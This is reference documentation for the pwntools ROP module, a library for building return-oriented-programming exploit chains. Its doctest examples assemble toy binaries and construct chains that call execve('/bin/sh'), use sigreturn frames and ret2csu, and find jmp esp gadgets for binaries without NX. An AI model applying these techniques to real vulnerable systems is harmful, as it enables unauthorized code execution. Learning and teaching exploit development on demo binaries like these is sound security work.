pwnlib.rop.rop — Return Oriented Programming

Return Oriented Programming

Manual ROP

The ROP tool can be used to build stacks pretty trivially. Let's create a fake binary which has some symbols which might have been useful.

```
>>> context.clear(arch='i386')
>>> binary = ELF.from_assembly('add esp, 0x10; ret; pop eax; ret; pop
ecx; pop ebx; ret')
>>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'execve':
0xcafebabe, 'exit': 0xfeedface}
```

Creating a ROP object which looks up symbols in the binary is pretty straightforward.

```
>>> rop = ROP(binary)
```

Once to ROP object has been loaded, you can trivially find gadgets, by using magic properties on the `ROP` object. Each `Gadget` has an `address` property which has the real address as well.

```
>>> rop.eax
Gadget(0x10000004, ['pop eax', 'ret'], ['eax'], 0x8)
>>> hex(rop.eax.address)
'0x10000004'
```

Other, more complicated gdagets also happen magically

```
>>> rop.ecx
Gadget(0x10000006, ['pop ecx', 'pop ebx', 'ret'], ['ecx', 'ebx'], 0xc)
```

The easiest way to set up individual registers is to invoke the `ROP` object as a callable, with the registers as arguments. This has the benefit of using multi-pop gadgets to set multiple registers with one gadget.

```
>>> rop(eax=0x11111111, ecx=0x22222222)
```

Setting register values this way accounts for padding and extra registers which are popped off the stack. Values which are filled with garbage (i.e. are not used) are filled with the `cyclic()` pattern which corresponds to their offset, which is useful when debuggging your exploit.

```
>>> print(rop.dump())
0x0000:       0x10000006 pop ecx; pop ebx; ret
0x0004:       0x22222222
0x0008:          b'caaa' <pad ebx>
0x000c:       0x10000004 pop eax; ret
0x0010:       0x11111111
```

If you really want to set one register at a time, you can also use the assignment form. It's generally advised to use the rop(eax=..., ecx=...) form, since there may be an e.g. `pop eax; pop ecx; ret` gadget that can be taken advantage of.

```
>>> rop = ROP(binary)
>>> rop.eax = 0xdeadf00d
>>> rop.ecx = 0xc01dbeef
>>> rop.raw(0xffffffff)
>>> print(rop.dump())
0x0000:       0x10000004 pop eax; ret
0x0004:       0xdeadf00d
0x0008:       0x10000006 pop ecx; pop ebx; ret
0x000c:       0xc01dbeef
0x0010:          b'eaaa' <pad ebx>
0x0014:       0xffffffff
```

If you just want to FIND a ROP gadget, you can access them as a property on the `ROP` object by register name.

```
>>> rop = ROP(binary)
>>> rop.eax
Gadget(0x10000004, ['pop eax', 'ret'], ['eax'], 0x8)
>>> hex(rop.eax.address)
'0x10000004'
>>> rop.raw(rop.eax)
>>> rop.raw(0x12345678)
>>> print(rop.dump())
0x0000:       0x10000004 pop eax; ret
0x0004:       0x12345678
```

Let's re-create our ROP object now to show for some other examples.:

```
>>> rop = ROP(binary)
```

With the ROP object, you can manually add stack frames.

```
>>> rop.raw(0)
>>> rop.raw(unpack(b'abcd'))
>>> rop.raw(2)
```

Inspecting the ROP stack is easy, and laid out in an easy-to-read manner.

```
>>> print(rop.dump())
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
```

The ROP module is also aware of how to make function calls with standard Linux ABIs.

```
>>> rop.call('read', [4,5,6])
>>> print(rop.dump())
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
0x000c:       0xdeadbeef read(4, 5, 6)
0x0010:          b'eaaa' <return address>
0x0014:              0x4 arg0
0x0018:              0x5 arg1
0x001c:              0x6 arg2
```

You can also use a shorthand to invoke calls. The stack is automatically adjusted for the next frame

```
>>> rop.write(7,8,9)
>>> rop.exit()
>>> print(rop.dump())
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
0x000c:       0xdeadbeef read(4, 5, 6)
0x0010:       0x10000000 <adjust @0x24> add esp, 0x10; ret
0x0014:              0x4 arg0
0x0018:              0x5 arg1
0x001c:              0x6 arg2
0x0020:         b'iaaa' <pad>
0x0024:       0xdecafbad write(7, 8, 9)
0x0028:       0xfeedface exit()
0x002c:              0x7 arg0
0x0030:              0x8 arg1
0x0034:              0x9 arg2
```

You can also append complex arguments onto stack when the stack pointer is known.

```
>>> rop = ROP(binary, base=0x7fffe000)
>>> rop.call('execve', [b'/bin/sh', [[b'/bin/sh'], [b'-p'], [b'-c'],
[b'ls']], 0])
>>> print(rop.dump())
0x7fffe000:       0xcafebabe execve([b'/bin/sh'], [[b'/bin/sh'], [b'-
p'], [b'-c'], [b'ls']], 0)
0x7fffe004:          b'baaa' <return address>
0x7fffe008:       0x7fffe014 arg0 (+0xc)
0x7fffe00c:       0x7fffe01c arg1 (+0x10)
0x7fffe010:              0x0 arg2
0x7fffe014:   b'/bin/sh\x00'
0x7fffe01c:       0x7fffe02c (+0x10)
0x7fffe020:       0x7fffe034 (+0x14)
0x7fffe024:       0x7fffe038 (+0x14)
0x7fffe028:       0x7fffe03c (+0x14)
0x7fffe02c:   b'/bin/sh\x00'
0x7fffe034:       b'-p\x00$'
0x7fffe038:       b'-c\x00$'
0x7fffe03c:       b'ls\x00$'
```

ROP also detects ‘jmp $sp’ gadget to help exploit binaries with NX disabled. You can get this gadget on ‘i386’:

```
>>> context.clear(arch='i386')
>>> elf = ELF.from_assembly('nop; jmp esp; ret')
>>> rop = ROP(elf)
>>> jmp_gadget = rop.jmp_esp
>>> elf.read(jmp_gadget.address, 2) == asm('jmp esp')
True
```

You can also get this gadget on 'amd64':

```
>>> context.clear(arch='amd64')
>>> elf = ELF.from_assembly('nop; jmp rsp; ret')
>>> rop = ROP(elf)
>>> jmp_gadget = rop.jmp_rsp
>>> elf.read(jmp_gadget.address, 2) == asm('jmp rsp')
True
```

Gadgets whose address has badchar are filtered out:

```
>>> context.clear(arch='i386')
>>> elf = ELF.from_assembly('nop; pop eax; jmp esp; int 0x80; jmp esp;
ret')
>>> rop = ROP(elf, badchars=b'\x02')
>>> jmp_gadget = rop.jmp_esp    # It returns the second gadget
>>> elf.read(jmp_gadget.address, 2) == asm('jmp esp')
True
>>> rop = ROP(elf, badchars=b'\x02\x06')
>>> rop.jmp_esp == None         # The address of both gadgets has
badchar
True
```

ROP Example

Let's assume we have a trivial binary that just reads some data onto the stack, and returns.

```
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp',
1024)
>>> assembly += 'ret\n'
```

Let's provide some simple gadgets:

```
>>> assembly += 'add_esp: add esp, 0x10; ret\n'
```

And perhaps a nice “write” function.

```
>>> assembly += 'write: enter 0,0\n'
>>> assembly += '    mov ebx, [ebp+4+4]\n'
>>> assembly += '    mov ecx, [ebp+4+8]\n'
>>> assembly += '    mov edx, [ebp+4+12]\n'
>>> assembly += shellcraft.write('ebx', 'ecx', 'edx')
>>> assembly += '    leave\n'
>>> assembly += '    ret\n'
>>> assembly += 'flag: .asciz "The flag"\n'
```

And a way to exit cleanly.

```
>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> binary   = ELF.from_assembly(assembly)
```

Finally, let’s build our ROP stack

```
>>> rop = ROP(binary)
>>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8)
>>> rop.exit()
>>> print(rop.dump())
0x0000:       0x10000012 write(STDOUT_FILENO, 0x10000026, 8)
0x0004:       0x1000002f exit()
0x0008:              0x1 STDOUT_FILENO
0x000c:       0x10000026 flag
0x0010:              0x8 arg2
```

The raw data from the ROP stack is available via *r.chain()* (or *bytes(r)*).

```
>>> raw_rop = rop.chain()
>>> print(enhex(raw_rop))
120000102f000010010000002600001008000000
```

Let’s try it out!

```
>>> p = process(binary.path)
>>> p.send(raw_rop)
>>> print(repr(p.recvall(timeout=5)))
b'The flag'
```

ROP Example (amd64)

For amd64 binaries, the registers are loaded off the stack. Pwntools can do basic reasoning about simple “pop; pop; add; ret”-style gadgets, and satisfy requirements so that everything “just works”.

```
>>> context.clear(arch='amd64')
>>> assembly = 'pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret; target:
ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
>>> rop.target(1,2,3)
>>> print(rop.dump())
0x0000:       0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008:              0x3 [arg2] rdx = 3
0x0010:              0x1 [arg0] rdi = 1
0x0018:              0x2 [arg1] rsi = 2
0x0020:      b'iaaajaaa' <pad 0x20>
0x0028:      b'kaaalaaa' <pad 0x18>
0x0030:      b'maaanaaa' <pad 0x10>
0x0038:      b'oaaapaaa' <pad 0x8>
0x0040:       0x10000008 target
>>> rop.target(1)
>>> print(rop.dump())
0x0000:       0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008:              0x3 [arg2] rdx = 3
0x0010:              0x1 [arg0] rdi = 1
0x0018:              0x2 [arg1] rsi = 2
0x0020:      b'iaaajaaa' <pad 0x20>
0x0028:      b'kaaalaaa' <pad 0x18>
0x0030:      b'maaanaaa' <pad 0x10>
0x0038:      b'oaaapaaa' <pad 0x8>
0x0040:       0x10000008 target
0x0048:       0x10000001 pop rdi; pop rsi; add rsp, 0x20; ret
0x0050:              0x1 [arg0] rdi = 1
0x0058:      b'waaaxaaa' <pad rsi>
0x0060:      b'yaaazaab' <pad 0x20>
0x0068:      b'baabcaab' <pad 0x18>
0x0070:      b'daabeaab' <pad 0x10>
0x0078:      b'faabgaab' <pad 0x8>
0x0080:       0x10000008 target
```

Pwntools will also filter out some bad instructions while setting the registers (e.g. syscall, int 0x80...)

```
>>> assembly = 'syscall; pop rdx; pop rsi; ret ; pop rdi ; int 0x80; pop
rsi; pop rdx; ret ; pop rdi ; ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
>>> rop.call(0xdeadbeef, [1, 2, 3])
>>> print(rop.dump())
0x0000:       0x1000000b pop rdi; ret
0x0008:              0x1 [arg0] rdi = 1
0x0010:       0x10000002 pop rdx; pop rsi; ret
0x0018:              0x3 [arg2] rdx = 3
0x0020:              0x2 [arg1] rsi = 2
0x0028:       0xdeadbeef
```

ROP + Sigreturn

In some cases, control of the desired register is not available. However, if you have control of the stack, EAX, and can find a *int 0x80* gadget, you can use sigreturn.

Even better, this happens automagically.

Our example binary will read some data onto the stack, and not do anything else interesting.

```
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp',
1024)
>>> assembly += 'ret\n'
>>> assembly += 'pop eax; ret\n'
>>> assembly += 'int 0x80\n'
>>> assembly += 'binsh: .asciz "/bin/sh"'
>>> binary    = ELF.from_assembly(assembly)
```

Let's create a ROP object and invoke the call.

```
>>> context.kernel = 'amd64'
>>> rop   = ROP(binary)
>>> binsh = binary.symbols['binsh']
>>> rop.execve(binsh, 0, 0)
```

That's all there is to it.

```
>>> print(rop.dump())
0x0000:       0x1000000e pop eax; ret
0x0004:             0x77 [arg0] eax = SYS_sigreturn
0x0008:       0x1000000b int 0x80; ret
0x000c:              0x0 gs
0x0010:              0x0 fs
0x0014:              0x0 es
0x0018:              0x0 ds
0x001c:              0x0 edi
0x0020:              0x0 esi
0x0024:              0x0 ebp
0x0028:              0x0 esp
0x002c:       0x10000012 ebx = binsh
0x0030:              0x0 edx
0x0034:              0x0 ecx
0x0038:              0xb eax = SYS_execve
0x003c:              0x0 trapno
0x0040:              0x0 err
0x0044:       0x1000000b int 0x80; ret
0x0048:             0x23 cs
0x004c:              0x0 eflags
0x0050:              0x0 esp_at_signal
0x0054:             0x2b ss
0x0058:              0x0 fpstate
```

Let's try it out!

```
>>> p = process(binary.path)
>>> p.send(rop.chain())
>>> time.sleep(1)
>>> p.sendline(b'echo hello; exit')
>>> p.recvline()
b'hello\n'
```

class **pwnlib.rop.rop.ROP**(*elfs*, *base=None*, *badchars=''*, ***kwargs*) [source]

Class which simplifies the generation of ROP-chains.

Example:

```
elf = ELF('ropasaurusrex')
rop = ROP(elf)
rop.read(0, elf.bss(0x80))
rop.dump()
# ['0x0000:        0x80482fc (read)',
#  '0x0004:       0xdeadbeef',
#  '0x0008:              0x0',
#  '0x000c:        0x80496a8']
bytes(rop)
# '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'
```

```
>>> context.clear(arch = "i386", kernel = 'amd64')
>>> assembly = 'int 0x80; ret; add esp, 0x10; ret; pop eax; ret'
>>> e = ELF.from_assembly(assembly)
>>> e.symbols['funcname'] = e.entry + 0x1234
>>> r = ROP(e)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print(r.dump())
0x0000:       0x10001234 funcname(1, 2)
0x0004:       0x10000003 <adjust @0x18> add esp, 0x10; ret
0x0008:              0x1 arg0
0x000c:              0x2 arg1
0x0010:         b'eaaa' <pad>
0x0014:         b'faaa' <pad>
0x0018:       0x10001234 funcname(3)
0x001c:       0x10000007 <adjust @0x24> pop eax; ret
0x0020:              0x3 arg0
0x0024:       0x10000007 pop eax; ret
0x0028:             0x77 [arg0] eax = SYS_sigreturn
0x002c:       0x10000000 int 0x80; ret
0x0030:              0x0 gs
0x0034:              0x0 fs
0x0038:              0x0 es
0x003c:              0x0 ds
0x0040:              0x0 edi
0x0044:              0x0 esi
0x0048:              0x0 ebp
0x004c:              0x0 esp
0x0050:              0x4 ebx
0x0054:              0x6 edx
0x0058:              0x5 ecx
0x005c:              0xb eax = SYS_execve
0x0060:              0x0 trapno
0x0064:              0x0 err
0x0068:       0x10000000 int 0x80; ret
0x006c:             0x23 cs
0x0070:              0x0 eflags
0x0074:              0x0 esp_at_signal
0x0078:             0x2b ss
0x007c:              0x0 fpstate
```

```
>>> r = ROP(e, 0x8048000)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print(r.dump())
0x8048000:       0x10001234 funcname(1, 2)
0x8048004:       0x10000003 <adjust @0x8048018> add esp, 0x10; ret
0x8048008:              0x1 arg0
0x804800c:              0x2 arg1
0x8048010:         b'eaaa' <pad>
0x8048014:         b'faaa' <pad>
0x8048018:       0x10001234 funcname(3)
0x804801c:       0x10000007 <adjust @0x8048024> pop eax; ret
0x8048020:              0x3 arg0
0x8048024:       0x10000007 pop eax; ret
0x8048028:             0x77 [arg0] eax = SYS_sigreturn
0x804802c:       0x10000000 int 0x80; ret
0x8048030:              0x0 gs
0x8048034:              0x0 fs
0x8048038:              0x0 es
0x804803c:              0x0 ds
0x8048040:              0x0 edi
0x8048044:              0x0 esi
0x8048048:              0x0 ebp
0x804804c:        0x8048080 esp
0x8048050:              0x4 ebx
0x8048054:              0x6 edx
0x8048058:              0x5 ecx
0x804805c:              0xb eax = SYS_execve
0x8048060:              0x0 trapno
0x8048064:              0x0 err
0x8048068:       0x10000000 int 0x80; ret
0x804806c:             0x23 cs
0x8048070:              0x0 eflags
0x8048074:              0x0 esp_at_signal
0x8048078:             0x2b ss
0x804807c:              0x0 fpstate
```

```
>>> elf = ELF.from_assembly('ret')
>>> r = ROP(elf)
>>> r.ret.address == 0x10000000
True
>>> r = ROP(elf, badchars=b'\x00')
>>> r.gadgets == {}
True
>>> r.ret is None
True
```

Parameters:

- **elfs** (*list*) – List of `ELF` objects for mining
- **base** (*int*) – Stack address where the first byte of the ROP

chain lies, if known.

- **badchars** (*str*) – Characters which should not appear in ROP gadget addresses.

`_ROP__get_cachefile_name`(*files*) [source]

Given an ELF or list of ELF objects, return a cache file for the set of files

`_ROP__load`() [source]

Load all ROP gadgets for the selected ELF files

`__bytes__`() [source]

Returns: Raw bytes of the ROP chain

`__call__`(**args*, ***kwargs*) [source]

Set the given register(s)' by constructing a rop chain.

This is a thin wrapper around `setRegisters()` which actually executes the rop chain.

You can call this `ROP` instance and provide keyword arguments, or a dictionary.

Parameters: **regs** (*dict*) – Mapping of registers to values. Can instead provide `kwargs`.

```
>>> context.clear(arch='amd64')
>>> assembly = 'pop rax; pop rdi; pop rsi; ret; pop rax; ret;'
>>> e = ELF.from_assembly(assembly)
>>> r = ROP(e)
>>> r(rax=0xdead, rdi=0xbeef, rsi=0xcafe)
>>> print(r.dump())
0x0000:       0x10000000 pop rax; pop rdi; pop rsi; ret
0x0008:           0xdead
0x0010:           0xbeef
0x0018:           0xcafe
>>> r = ROP(e)
>>> r({'rax': 0xdead, 'rdi': 0xbeef, 'rsi': 0xcafe})
>>> print(r.dump())
0x0000:       0x10000000 pop rax; pop rdi; pop rsi; ret
0x0008:           0xdead
0x0010:           0xbeef
0x0018:           0xcafe
```

__getattr__(*attr*) [source]

Helper to make finding ROP gadgets easier.

Also provides a shorthand for `.call()`:

`rop.function(args)` is equivalent to `rop.call(function, args)`

```
>>> context.clear(arch='i386')
>>> elf=ELF(which('bash'))
>>> rop=ROP([elf])
>>> rop.rdi     == rop.search(regs=['rdi'], order = 'regs')
True
>>> rop.r13_r14_r15_rbp == rop.search(regs=
['r13','r14','r15','rbp'], order = 'regs')
True
>>> rop.ret_8   == rop.search(move=8)
True
>>> rop.ret is not None
True
>>> with context.local(arch='amd64', bits='64'):
...     r = ROP(ELF.from_assembly('syscall; ret'))
>>> r.syscall is not None
True
```

__init__(*elfs*, *base=None*, *badchars=''*, ***kwargs*) [source]

Parameters:

- **elfs** (*list*) – List of `ELF` objects for mining
- **base** (*int*) – Stack address where the first byte of the ROP chain lies, if known.

- **badchars** (*str*) – Characters which should not appear in ROP gadget addresses.

__repr__() <==> *repr(x)* [source]

__setattr__(*attr*, *value*) [source]

Helper for setting registers.

This convenience feature allows one to set the values of registers with simple python assignment syntax.

Warning

Only one register is set at a time (one per rop chain). This may lead to some previously set to registers be overwritten!

Note

If you would like to set multiple registers in as few rop chains as possible, see `__call__()`.

```
>>> context.clear(arch='amd64')
>>> assembly = 'pop rax; pop rdi; pop rsi; ret; pop rax; ret;'
>>> e = ELF.from_assembly(assembly)
>>> r = ROP(e)
>>> r.rax = 0xdead
>>> r.rdi = 0xbeef
>>> r.rsi = 0xcafe
>>> print(r.dump())
0x0000:       0x10000004 pop rax; ret
0x0008:           0xdead
0x0010:       0x10000001 pop rdi; pop rsi; ret
0x0018:           0xbeef
0x0020:      b'iaaajaaa' <pad rsi>
0x0028:       0x10000002 pop rsi; ret
0x0030:           0xcafe
```

__str__() [source]

Returns: Raw bytes of the ROP chain

build(*base=None*, *description=None*) [source]

Construct the ROP chain into a list of elements which can be passed to `flat()`.

Parameters:
- **base** (*int*) – The base address to build the rop-chain from. Defaults to `base`.
- **description** (*dict*) – Optional output argument, which will gets a mapping of `address: description` for each address on the stack, starting at `base`.

call(*resolvable*, *arguments=()*, *abi=None*, ***kwargs*) [source]

Add a call to the ROP chain

Parameters:
- **resolvable** (*str*,*int*) – Value which can be looked up via ‘resolve’, or is already an integer.
- **arguments** (*list*) – List of arguments which can be passed to pack(). Alternately, if a base address is set, arbitrarily nested structures of strings or integers can be provided.

chain(*base=None*) [source]

Build the ROP chain

Parameters: **base** (*int*) – The base address to build the rop-chain from. Defaults to `base`.

Returns: str containing raw ROP bytes

static **clear_cache**() [source]

Clears the ROP gadget cache

describe(*object*) [source]

Return a description for an object in the ROP stack

dump(*base=None*) [source]

Dump the ROP chain in an easy-to-read manner

Parameters: **base** (*int*) – The base address to build the rop-chain from. Defaults to `base`.

find_gadget(*instructions*) [source]

Returns a gadget with the exact sequence of instructions specified in the `instructions` argument.

generatePadding(*offset*, *count*) [source]

Generates padding to be inserted into the ROP stack.

```
>>> context.clear(arch='i386')
>>> rop = ROP([])
>>> val = rop.generatePadding(5,15)
>>> cyclic_find(val[:4])
5
>>> len(val)
15
>>> rop.generatePadding(0,0)
b''
```

migrate(*next_base*) [source]

Explicitly set $sp, by using a `leave; ret` gadget

raw(*value*) [source]

Adds a raw integer or string to the ROP chain.

If your architecture requires aligned values, then make sure that any given string is aligned!

Parameters: **data** (*int/bytes*) – The raw value to put onto the rop chain.

```
>>> context.clear(arch='i386')
>>> rop = ROP([])
>>> rop.raw('AAAAAAAA')
>>> rop.raw('BBBBBBBB')
>>> rop.raw('CCCCCCCC')
>>> print(rop.dump())
0x0000:          b'AAAA' 'AAAAAAAA'
0x0004:          b'AAAA'
0x0008:          b'BBBB' 'BBBBBBBB'
0x000c:          b'BBBB'
0x0010:          b'CCCC' 'CCCCCCCC'
0x0014:          b'CCCC'
```

resolve(*resolvable*) [source]

Resolves a symbol to an address

Parameters: **resolvable** (*str*,*int*) – Thing to convert into an address

Returns: int containing address of 'resolvable', or None

ret2csu(*edi=<pwnlib.rop.rop.Padding object>*, *rsi=<pwnlib.rop.rop.Padding object>*, *rdx=<pwnlib.rop.rop.Padding object>*, *rbx=<pwnlib.rop.rop.Padding object>*, *rbp=<pwnlib.rop.rop.Padding object>*, *r12=<pwnlib.rop.rop.Padding object>*, *r13=<pwnlib.rop.rop.Padding object>*, *r14=<pwnlib.rop.rop.Padding object>*, *r15=<pwnlib.rop.rop.Padding object>*, *call=None*) [source]

Build a ret2csu ROPchain

Parameters:

- **rsi, rdx** (*edi*,) – Three primary registers to populate
- **rbp, r12, r13, r14, r15** (*rbx*,) – Optional registers to populate
- **call** – Pointer to the address of a function to call during second gadget. If None then use the address of _fini in the .dynamic section. .got.plt entries are a good target. Required for PIE binaries.

Test:

```
>>>
context.clear(binary=pwnlib.data.elf.ret2dlresolve.get("amd64"))

>>> r = ROP(context.binary)
>>> r.ret2csu(1, 2, 3, 4, 5, 6, 7, 8, 9)
>>> r.call(0xdeadbeef)
>>> print(r.dump())
0x0000:         0x40058a
0x0008:              0x0
0x0010:              0x1
0x0018:         0x600e48
0x0020:              0x1
0x0028:              0x2
0x0030:              0x3
0x0038:         0x400570
0x0040:      b'qaaaraaa' <add rsp, 8>
0x0048:              0x4
0x0050:              0x5
0x0058:              0x6
0x0060:              0x7
0x0068:              0x8
0x0070:              0x9
0x0078:       0xdeadbeef 0xdeadbeef()
>>> open('core','w').close(); os.unlink('core')  # remove any
old core file for the tests
>>> p = process()
>>> p.send(fit({64+context.bytes: r}))
>>> p.wait(0.5)
>>> core = p.corefile
>>> hex(core.pc)
'0xdeadbeef'
>>> core.rdi, core.rsi, core.rdx, core.rbx, core.rbp,
core.r12, core.r13, core.r14, core.r15
(1, 2, 3, 4, 5, 6, 7, 8, 9)
```

search(*move=0*, *regs=None*, *order='size'*) [source]

Search for a gadget which matches the specified criteria.

Parameters:

- **move** (*int*) – Minimum number of bytes by which the stack pointer is adjusted.
- **regs** (*list*) – Minimum list of registers which are popped off the stack.
- **order** (*str*) – Either the string ‘size’ or ‘regs’. Decides how to order multiple gadgets the fulfill the requirements.

The search will try to minimize the number of bytes popped more than requested, the number of registers touched besides the requested and the address.

If `order == 'size'`, then gadgets are compared lexicographically by `(total_moves, total_regs, addr)`, otherwise by `(total_regs, total_moves, addr)`.

Returns: A `Gadget` object

`search_iter`(*move=None, regs=None*) [source]

Iterate through all gadgets which move the stack pointer by *at least* `move` bytes, and which allow you to set all registers in `regs`.

`setRegisters`(*registers*) [source]

Returns an list of addresses/values which will set the specified register context.

Parameters: **registers** (*dict*) – Dictionary of `{register name: value}`

Returns: A list of tuples, ordering the stack.
Each tuple is in the form of `(value, name)` where `value` is either a gadget address or literal value to go on the stack, and `name` is either a string name or other item which can be "unresolved".

Note

This is basically an implementation of the Set Cover Problem, which is NP-hard. This means that we will take polynomial time N**2, where N is the number of gadgets. We can reduce runtime by discarding useless and inferior gadgets ahead of time.

`unresolve`(*value*) [source]

Inverts 'resolve'. Given an address, it attempts to find a symbol for it in the loaded ELF files. If none is found, it searches all known gadgets, and returns the disassembly

Parameters: **value** (*int*) – Address to look up

Returns: String containing the symbol name for the address, disassembly for a gadget (if there's one at that address), or an empty string.

__weakref__ [source]

list of weak references to the object (if defined)

_badchars = *None* [source]

Characters which should not appear in ROP gadget addresses.

_chain = *None* [source]

List of individual ROP gadgets, ROP calls, SROP frames, etc. This is intended to be the highest-level abstraction that we can muster.

base = *None* [source]

Stack address where the first byte of the ROP chain lies, if known.

elfs = *None* [source]

List of ELF files which are available for mining gadgets

migrated = *None* [source]

Whether or not the ROP chain directly sets the stack pointer to a value which is not contiguous